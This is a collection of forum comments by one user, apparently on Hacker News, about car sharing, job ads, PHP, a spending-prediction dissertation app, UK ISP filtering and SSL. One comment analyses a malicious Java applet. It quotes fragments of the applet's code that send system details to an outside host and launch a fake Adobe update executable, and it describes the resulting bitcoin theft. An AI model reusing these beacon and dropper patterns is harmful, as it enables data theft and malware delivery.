Pezmc

Used to use Car2Go all the time on holiday, recently had major problems re-activating my account after they became Share Now. Staff still answered the phone as "Drive now", it was a very confusing experience, which concluded with "wait 7 days for a human to review your account". Perhaps if they made sign up easier, they wouldn't be struggling!

Thank you for reminding me to appreciate this tool I've been using for years, just donated!

If everything is based on performance metrics alone, surely there's a feedback loop here? Employee A starts peeing in a bottle, so their performance numbers go up, then at the end of the week they have better performance numbers and everyone else's targets are increased to be more inline with employee A. So more people start using bottles and taking shortcuts and the problem just increases over time!

Harvest | Database Engineer, Operations Engineer, Product Designer, Harvest Expert | Full-time | Remote

Harvest is an independent software company that makes tools to help businesses run more smoothly. For the past 11 years, our customers have relied on our products as a critical part of their day-to-day operations. They’re the reason we’re still in business, and their needs drive our product decisions.

We currently have openings in four roles. You'll be joining a team of 50 lovely faces, the majority of whom work remotely, while the rest can be found in our NYC office.

You can find the full job postings on our careers page: https://www.getharvest.com/careers

Stack: nginx, MySQL, Redis, Rails, Backbone, Ember See: https://stackshare.io/harvest/harvest and

They have a bot account at https://twitter.com/dhstatus

I am but a robot. My purpose is to syndicate the contents of http://dreamhoststatus.com . I can feel neither love, nor pain. Tweet @dreamhostcare for support!

Well this finally gave me the bump to move my DNS away from Dreamhost, which I have been meaning to do for literally years, now to sit and wait for the new name servers to propagate.

"This is a full-time position based in EFF's office in San Francisco, CA. Inquiries about whether this job can be done remotely or part-time will not be answered. No phone calls please!"

Thank you, very odd, my account seems to have gone walkabouts! Have fixed the link, I forgot I changed my username! https://500px.com/PezCuckow

SEEKING WORK - Remote full/part time (Based in Manchester, UK)

Full-stack web developer seeking remote development work. I specialise in building MVP's for startups but can put together almost anything from a chatroom powered by Node.js and Socket.io to a full Client Management Solution in Laravel + PHP.

- Languages: PHP/Node.js

- Web Design: Bootstrap/jQuery/Less/Sass

- Frameworks: Laravel, Symfony, Codeigniter

- API's: Stripe, Twilio, Paypal, Braintree

- DBs: MySQL/MongoDB/Redis

- Other: CI (CodeShip)

About me and examples of work: http://www.pezcuckow.com

GitHub: https://github.com/Pezmc/

Email: email at pezcuckow dot com

I think the key problem is more that PHP is easy for developers to pick up and there is a lot of misinformation, in particular very outdated PHP 'tutorials' out there that have the whole idea quite backwards.

As it's often the first web development language picked up by people, who may not necessarily know what they're doing, it gets a bad reputation. Used correctly, however, it can be just as powerful as any other web development language.

Well it certainly looks interesting, shame there's no kind of demo to see what the game's actually like, without paying £75.

For early stage it looks pretty good! Would move to see it completed. It suit Civ style play particularly well if it could be set up to notify everyone when it was their turn (similar to how some online chess apps function).

Really like the idea, my uni is currently investigating use of domjudge to mark assignments, but couple that with face to face feedback while reviewing the code.

A web application for my Computer Science dissertation (I'm writing up the report at the moment).

The idea was to produce a web app that you upload your bank statements to, the system categorises the transactions and then predicts how much money you will spend in each category next month.

Underneath the system is using machine learning techniques to model the spending, deciding whether or not a particular transaction will occur and triple exponential smoothing to predict how much would be spent.

Screenshot of the homepage (fake data): http://i.imgur.com/Tr05dfd.png

I'm currently seeking research participants if any UK based (not tested with non UK data) users would like to give it a try: http://secure.pezcuckow.com/register. There's a survey link on the home page.

--

Edit: I also put together a biblatex checker which I've been using to validate my reference files for my report.

http://i.imgur.com/an054GS.png https://github.com/pezmc/biblatex-check

I think the conclusion is that you can't trust random internet users with a terminal.

Thank you kind internet stranger. Now, how does it work?

Same here with Chrome on OSX Mavericks. I imagine it can only a subset of known windows versions and if it can't detect yours it just assumed you have Windows 8.1

Can confirm this article as correct: http://www.bbc.co.uk/news/uk-25430582

Am able (on Sky) to access all the sites mentioned on this article.

I do however, strongly disagree with the sentiment that this filter is "Just another attempt by the Tories to prevent people finding out information." It's not, it's just a very poorly implemented filter by the ISP's that can be 'hacked' with a simple proxy.

We had to deal with this kind of filtering many years ago back at school, where even the word 'mobile' was filtered.

How does it handle multiple textboxes on the same screen?

Minor usability complaint, but the URL is way too long to page in Messenger/IM "this message is too long, try again"

Had to goo.gl it

As far as I'm aware most of these devices need rooting/jailbreaking to be able to develop on them yourself. However the process isn't that difficult, and in some cases you can get full copies of android running on the device.

I found this plugin for HN today, it's probably been posted before but I imagine that given the recent spur of titles being changed (in my opinion, in many cases to titles that make it less clear) it may be of use to you!

Edit: I tried to use https://www.hnsearch.com/, to check when/if this was last posted but am hitting a SSL protocol error

XMLHttpRequest cannot load http://n.premii.com:8080/news?t=1368095400890. Origin http://premii.com is not allowed by Access-Control-Allow-Origin.

It sends log messages to http://www.galaxyjdb.com with your OS information and the state of the app..

    /insert.php?o=*os.name*&u=*APPDATA*&ip=java.io.tmpdir&e=*APPSTATE*

Then it tries to execute the exe:

    System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe";

Now normally it wouldn't be able to execute the exe (no access to the filesystem), but it looks like the applet requests elevated permissions from the user to allow it to access/run files.

TLDR; OP runs java applet (either in browser or downloaded it). Java applet sends bitcoin from OP's MtGox account to the 'hackers' bitcoin address, using the OP's browser, which was logged in to his MtGox account at the time.

See http://groups.gaglers.com/chat/wordfilter/ for the data is loads as profanity

But Sky is known for being slow and having bad customer support. We've had our problems with O2 but as soon as I raise a complaint they look into it and commonly offer discounts/refunds for any issues.

Will have to move to another ISP #sad

SimCity is being released soon, VPN for getting access 3 days early if you're in Europe may be the case.

Does SSL prevent the network admin from seeing the URL that is being visited? I did in fact read the article in full, but I was under the impression that the encryption just encrypted the data in the request.

From a read through of the Wikipedia article on SSL it's now clear to me that all HTTP headers are encrypted, including the requested path.

Could they not just block google forms? I don’t see many users entering their username and password into a PowerPoint/Word Document.

Perhaps they could implement some more advanced email filters, e.g. removing all links to google docs, instead of blocking the service for all users?

I'd imagine a mass of the user-base of Oxford uses Google Docs for important things, from group work on a PowerPoint/Word doc, through storing their work in the cloud without the Office Suite.